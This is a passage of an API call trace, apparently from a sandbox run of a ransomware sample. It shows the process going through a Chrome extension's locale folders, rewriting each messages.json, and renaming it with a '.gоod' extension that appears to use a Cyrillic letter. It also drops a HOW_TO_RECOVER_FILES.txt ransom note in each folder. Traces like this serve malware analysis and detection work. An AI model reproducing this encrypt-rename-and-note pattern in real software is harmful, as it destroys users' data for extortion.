fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84e1327, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e39c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8ef9b9ff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140)) returned 1 [0246.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0246.221] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.gоod")) returned 1 [0246.222] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0246.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0246.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0246.222] GetFileType (hFile=0x768) returned 0x1 [0246.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0246.222] GetFileType (hFile=0x768) returned 0x1 [0246.223] WriteFile (in: hFile=0x768, lpBuffer=0x3785ec0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3785ec0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0246.223] CloseHandle (hObject=0x768) returned 1 [0246.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0246.223] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr", lpFilePart=0x0) returned 0x7b [0246.224] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84f24cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7304, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84f7304, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0246.224] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84f24cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7304, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84f7304, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.224] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84f7304, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7242, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0246.224] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.224] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0246.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0246.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0246.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0246.225] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr", lpFilePart=0x0) returned 0x7b [0246.225] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84f24cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7304, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84f7304, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0246.225] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84f24cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7304, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84f7304, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.225] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84f7304, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7242, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0246.225] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84f7304, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7242, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0246.225] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0246.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0246.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0246.225] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json", lpFilePart=0x0) returned 0x89 [0246.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0246.226] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3795e90 | out: lpFileInformation=0x3795e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84f7304, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7242, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc8)) returned 1 [0246.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0246.226] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json", lpFilePart=0x0) returned 0x89 [0246.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0246.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.226] GetFileType (hFile=0x768) returned 0x1 [0246.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0246.226] GetFileType (hFile=0x768) returned 0x1 [0246.226] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xc8 [0246.226] ReadFile (in: hFile=0x768, lpBuffer=0x3796310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3796310*, lpNumberOfBytesRead=0x209ebc98*=0xc8, lpOverlapped=0x0) returned 1 [0246.571] CloseHandle (hObject=0x768) returned 1 [0247.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json", lpFilePart=0x0) returned 0x89 [0247.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0247.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0247.357] GetFileType (hFile=0x86c) returned 0x1 [0247.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0247.357] GetFileType (hFile=0x86c) returned 0x1 [0247.357] WriteFile (in: hFile=0x86c, lpBuffer=0x3bd3468*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3bd3468*, lpNumberOfBytesWritten=0x209ebba8*=0xd0, lpOverlapped=0x0) returned 1 [0247.358] CloseHandle (hObject=0x86c) returned 1 [0247.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json", lpFilePart=0x0) returned 0x89 [0247.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0247.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0247.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84f7304, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84f7242, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8fa56573, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0247.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0247.358] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.gоod")) returned 1 [0247.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0247.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0247.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0247.372] GetFileType (hFile=0x86c) returned 0x1 [0247.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0247.373] GetFileType (hFile=0x86c) returned 0x1 [0247.373] WriteFile (in: hFile=0x86c, lpBuffer=0x3bd6da0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3bd6da0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0247.374] CloseHandle (hObject=0x86c) returned 1 [0247.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0247.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu", lpFilePart=0x0) returned 0x7b [0247.548] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0247.892] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84fe7ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe850363d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe850363d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0247.948] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84fe7ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe850363d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe850363d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.948] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe850363d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8505ca2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0247.948] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.948] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0247.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0247.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0247.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0247.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu", lpFilePart=0x0) returned 0x7b [0247.948] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84fe7ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe850363d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe850363d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0247.949] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84fe7ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe850363d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe850363d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.949] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe850363d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8505ca2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0247.949] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe850363d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8505ca2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0247.949] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0247.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0247.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0247.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json", lpFilePart=0x0) returned 0x89 [0247.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0247.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x388fa50 | 